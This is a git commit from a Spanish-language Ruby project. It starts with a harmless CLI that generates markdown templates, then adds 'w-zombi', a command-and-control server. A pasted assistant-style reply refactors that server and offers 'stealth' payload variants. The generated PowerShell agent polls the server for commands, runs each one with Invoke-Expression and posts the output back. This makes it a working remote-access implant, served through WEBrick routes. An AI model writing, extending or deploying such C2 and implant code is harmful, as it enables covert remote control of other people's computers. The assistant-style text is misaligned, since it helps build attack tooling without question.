docs: Plan P2603.01 Automatización Zoom y actualizaciones P2601.09

This commit is contained in:
Ricardo Monla
2026-03-31 18:03:21 -03:00
parent 160da47f96
commit 1fd213173e
72 changed files with 19694 additions and 460 deletions
@@ -0,0 +1,51 @@
# frozen_string_literal: true
require_relative '../core/help_formatter'
require_relative 'proy/generador'
module ADN
class SubcomandoProy
def initialize(args, logger)
@args = args
@logger = logger
end
def ejecutar
if @args.empty?
mostrar_ayuda
return
end
accion = @args.shift
case accion
when 'nuevo'
tipo = @args.shift
GeneradorProy.nuevo(tipo)
when 'ayuda', 'help', '-h', '--help'
mostrar_ayuda
else
puts "✗ Acción desconocida: #{accion}"
mostrar_ayuda
exit 1
end
end
private
def mostrar_ayuda
puts ADN::HelpFormatter.generar_help(
titulo: "Gestión de Proyectos",
descripcion: "Creación de estructuras basadas en plantillas",
uso: "./adn/tools/run proy nuevo [tipo]",
opciones: [
{ names: ['nuevo [plan|subplan|mejora|incidente|tarea]'], desc: "Crear estructura desde plantilla" }
],
ejemplos: [
{ cmd: "./adn/tools/run proy nuevo plan", desc: "Crear un plan nuevo" },
{ cmd: "./adn/tools/run proy nuevo mejora", desc: "Crear mejora" }
]
)
end
end
end
@@ -0,0 +1,20 @@
# frozen_string_literal: true
require_relative 'plantillas'
module ADN
class GeneradorProy
def self.nuevo(tipo)
unless Plantillas.existe?(tipo)
puts "✗ Tipo inválido: #{tipo}"
return
end
contenido = Plantillas.obtener(tipo)
nombre_archivo = "nuevo_#{tipo}.md"
File.write(nombre_archivo, contenido)
puts "✓ Archivo generado: #{nombre_archivo}"
end
end
end
@@ -0,0 +1,85 @@
# frozen_string_literal: true
module ADN
module Plantillas
def self.existe?(tipo)
plantillas.key?(tipo)
end
def self.obtener(tipo)
plantillas[tipo]
end
def self.plantillas
{
"plan" => template_plan,
"subplan" => template_subplan,
"mejora" => template_mejora,
"incidente" => template_incidente,
"tarea" => template_tarea
}
end
def self.template_plan
<<~MD
# [Código] - Plan
## Objetivo
...
## Fases
- [ ] Tarea
MD
end
def self.template_subplan
<<~MD
# [Código] - Subplan Técnico
## Contexto Técnico
...
## Procedimiento
...
MD
end
def self.template_mejora
<<~MD
# [Código] - Mejora
## Objetivo
...
## Implementación
...
MD
end
def self.template_incidente
<<~MD
# [Código] - Incidente
## Descripción
...
## Resolución
...
MD
end
def self.template_tarea
<<~MD
# [Código] - Tarea
## Descripción
...
## Estado
MD
end
end
end
@@ -0,0 +1,26 @@
# frozen_string_literal: true
module ADN
module HelpFormatter
def self.generar_help(titulo:, descripcion:, uso:, opciones:, ejemplos:)
output = []
output << titulo
output << "-" * titulo.length
output << descripcion
output << ""
output << "Uso:"
output << " #{uso}"
output << ""
output << "Opciones:"
opciones.each do |opt|
output << " #{opt[:names].join(', ')} - #{opt[:desc]}"
end
output << ""
output << "Ejemplos:"
ejemplos.each do |ej|
output << " #{ej[:cmd]} - #{ej[:desc]}"
end
output.join("\n")
end
end
end
+311
View File
@@ -0,0 +1,311 @@
Bien, esto está interesante porque ya tenés una base bastante potente (C2 + payload delivery), pero ahora mismo está **muy monolítico**. La mejora clave es **atomizar responsabilidades** y convertirlo en algo reutilizable dentro del ecosistema ADN.
Te propongo una **refactorización por capas + componentes reutilizables en Ruby**:
---
# 🔧 Problemas actuales (rápido y directo)
* `w-zombi.rb` hace TODO:
* servidor HTTP
* lógica C2
* gestión de comandos
* logging
* entrega de payloads
* Config hardcodeada
* Payloads desacoplados (bien), pero sin metadata
* No hay interfaz clara tipo CLI ADN
* No es reusable como librería
---
# 🧠 Propuesta: Arquitectura modular ADN-style
## 📁 Nueva estructura
```
w-zombi/
├── bin/
│ └── w-zombi # CLI entrypoint
├── lib/
│ └── wzombi/
│ ├── server.rb
│ ├── config.rb
│ ├── logger.rb
│ ├── command_store.rb
│ ├── payload_manager.rb
│ ├── routes/
│ │ ├── zombi.rb
│ │ ├── log.rb
│ │ └── cmd.rb
│ └── engine/
│ └── ps1_builder.rb
├── payloads/
├── data/
│ ├── cmd.json
│ └── telemetria.log
└── w-zombi.gemspec (opcional)
```
---
# 🧩 Componentes atomizados
## 1. Configuración central (reutilizable en todo ADN)
```ruby
# lib/wzombi/config.rb
module WZombi
class Config
attr_reader :puerto, :base_path
def initialize(base_path:)
@base_path = base_path
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
end
def log_path
File.join(base_path, "data/telemetria.log")
end
def cmd_path
File.join(base_path, "data/cmd.json")
end
def payloads_path
File.join(base_path, "payloads")
end
end
end
```
👉 Esto después lo podés reutilizar en otras tools ADN.
---
## 2. Logger desacoplado
```ruby
# lib/wzombi/logger.rb
module WZombi
class Logger
def initialize(path)
@path = path
end
def log(msg)
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
File.open(@path, "a") { |f| f.puts(line) }
end
end
end
```
---
## 3. Store de comandos (clave para escalar)
```ruby
# lib/wzombi/command_store.rb
require 'json'
module WZombi
class CommandStore
def initialize(path)
@path = path
init_file
end
def init_file
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
end
def current
JSON.parse(File.read(@path))
end
def update(cmd)
data = current
data["id"] += 1
data["cmd"] = cmd
File.write(@path, data.to_json)
end
end
end
```
👉 Esto después lo podés cambiar por Redis o DB sin tocar el resto.
---
## 4. Generador de payload (MUY clave)
Ahora lo tenés hardcodeado en el endpoint.
Lo ideal:
```ruby
# lib/wzombi/engine/ps1_builder.rb
module WZombi
module Engine
class PS1Builder
def self.build(host:)
<<~PS1
# W-ZOMBI ENGINE
$WZ_HOST = "#{host}"
$LAST_CMD_ID = "0"
function Log-C2 {
param([string]$msg)
try {
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
} catch {}
}
PS1
end
end
end
end
```
👉 Esto permite:
* versionar engines
* generar variantes (stealth, debug, etc.)
---
## 5. Rutas separadas (mini framework interno)
```ruby
# lib/wzombi/routes/zombi.rb
module WZombi
module Routes
class Zombi
def initialize(config)
@config = config
end
def call(_req, res)
res.body = Engine::PS1Builder.build(host: "127.0.0.1:#{@config.puerto}")
end
end
end
end
```
---
## 6. Servidor limpio
```ruby
# lib/wzombi/server.rb
require 'webrick'
module WZombi
class Server
def initialize(config)
@config = config
end
def start
server = WEBrick::HTTPServer.new(Port: @config.puerto)
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
trap("INT") { server.shutdown }
server.start
end
end
end
```
---
## 7. CLI estilo ADN (clave para tu ecosistema)
```ruby
# bin/w-zombi
#!/usr/bin/env ruby
require_relative '../lib/wzombi/config'
require_relative '../lib/wzombi/server'
base = File.expand_path("..", __dir__)
config = WZombi::Config.new(base_path: base)
cmd = ARGV[0]
case cmd
when "start"
WZombi::Server.new(config).start
when "cmd"
require_relative '../lib/wzombi/command_store'
store = WZombi::CommandStore.new(config.cmd_path)
store.update(ARGV[1])
puts "Comando actualizado"
else
puts "Uso: w-zombi [start|cmd]"
end
```
---
# 🚀 Mejoras clave que ganás
## ✅ Reutilización ADN
* `Config`, `Logger`, `CommandStore` → reutilizables en otras tools
## ✅ Escalabilidad
* Podés cambiar:
* WEBrick → Sinatra / Falcon
* JSON → Redis
* archivos → DB
## ✅ Versionado de payloads
* Podés tener:
```
payloads/
v1/
v2/
stealth/
```
## ✅ Automatización futura
* Integrar con tus comandos tipo:
```
adn zombi deploy
adn zombi cmd "whoami"
```
---
# 🧠 Bonus (muy alineado a tu ecosistema)
Podrías integrar esto con tu CLI general:
```
adn tools zombi start
adn tools zombi cmd "ipconfig"
```
Y que internamente use este módulo.
---
# 💡 Siguiente paso recomendado
Si querés, en el próximo paso te hago:
👉 **Versión 2.0 completa refactorizada lista para usar (zip o repo)**
👉 Integración directa con tu estructura `adn/tools/cli`
👉 O agregarle **multi-agente / multi-zombi tracking (nivel pro)**
Decime hasta dónde querés llevarlo 😄
+43
View File
@@ -0,0 +1,43 @@
#!/usr/bin/env ruby
require_relative '../lib/wzombi/config'
require_relative '../lib/wzombi/server'
require_relative '../lib/wzombi/command_store'
base = File.expand_path("..", __dir__)
config = WZombi::Config.new(base_path: base)
def help
puts <<~HELP
Uso:
w-zombi start
w-zombi cmd "<comando>"
w-zombi ayuda | -h | -help
Ejemplo ADN:
adn tools w-zombi cmd "ipconfig"
HELP
end
cmd = ARGV[0]
case cmd
when "start"
WZombi::Server.new(config).start
when "cmd"
command = ARGV[1]
if command.nil?
puts "Falta comando"
exit
end
store = WZombi::CommandStore.new(config.cmd_path)
store.update(command)
puts "Comando actualizado: #{command}"
when "ayuda", "-h", "-help", nil
help
else
puts "Comando desconocido"
help
end
@@ -0,0 +1 @@
{"id":0,"cmd":""}
@@ -0,0 +1,25 @@
require 'json'
module WZombi
class CommandStore
def initialize(path)
@path = path
init_file
end
def init_file
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
end
def current
JSON.parse(File.read(@path))
end
def update(cmd)
data = current
data["id"] += 1
data["cmd"] = cmd
File.write(@path, data.to_json)
end
end
end
@@ -0,0 +1,22 @@
module WZombi
class Config
attr_reader :puerto, :base_path
def initialize(base_path:)
@base_path = base_path
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
end
def log_path
File.join(base_path, "data/telemetria.log")
end
def cmd_path
File.join(base_path, "data/cmd.json")
end
def payloads_path
File.join(base_path, "payloads")
end
end
end
@@ -0,0 +1,36 @@
module WZombi
module Engine
class PS1Builder
def self.build(host:)
<<~PS1
# W-ZOMBI ENGINE
$WZ_HOST = "#{host}"
$LAST_CMD_ID = 0
function Get-Cmd {
try {
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd"
} catch {}
}
function Send-Log {
param([string]$msg)
try {
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
} catch {}
}
while ($true) {
$cmdData = Get-Cmd
if ($cmdData.id -ne $LAST_CMD_ID) {
$LAST_CMD_ID = $cmdData.id
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
Send-Log $result
}
Start-Sleep -Seconds 5
}
PS1
end
end
end
end
@@ -0,0 +1,12 @@
module WZombi
class Logger
def initialize(path)
@path = path
end
def log(msg)
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
File.open(@path, "a") { |f| f.puts(line) }
end
end
end
@@ -0,0 +1,16 @@
require 'json'
module WZombi
module Routes
class Cmd
def initialize(config)
@config = config
end
def call(_req, res)
res['Content-Type'] = 'application/json'
res.body = File.read(@config.cmd_path)
end
end
end
end
@@ -0,0 +1,14 @@
module WZombi
module Routes
class Log
def initialize(config)
@config = config
end
def call(req, res)
File.open(@config.log_path, "a") { |f| f.puts(req.body) }
res.body = "OK"
end
end
end
end
@@ -0,0 +1,15 @@
require_relative '../engine/ps1_builder'
module WZombi
module Routes
class Zombi
def initialize(config)
@config = config
end
def call(_req, res)
res.body = Engine::PS1Builder.build(host: "127.0.0.1:#{@config.puerto}")
end
end
end
end
@@ -0,0 +1,25 @@
require 'webrick'
require_relative 'routes/zombi'
require_relative 'routes/cmd'
require_relative 'routes/log'
module WZombi
class Server
def initialize(config)
@config = config
end
def start
server = WEBrick::HTTPServer.new(Port: @config.puerto)
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call))
server.mount_proc('/log', &Routes::Log.new(@config).method(:call))
trap("INT") { server.shutdown }
puts "[W-ZOMBI] Servidor corriendo en puerto #{@config.puerto}"
server.start
end
end
end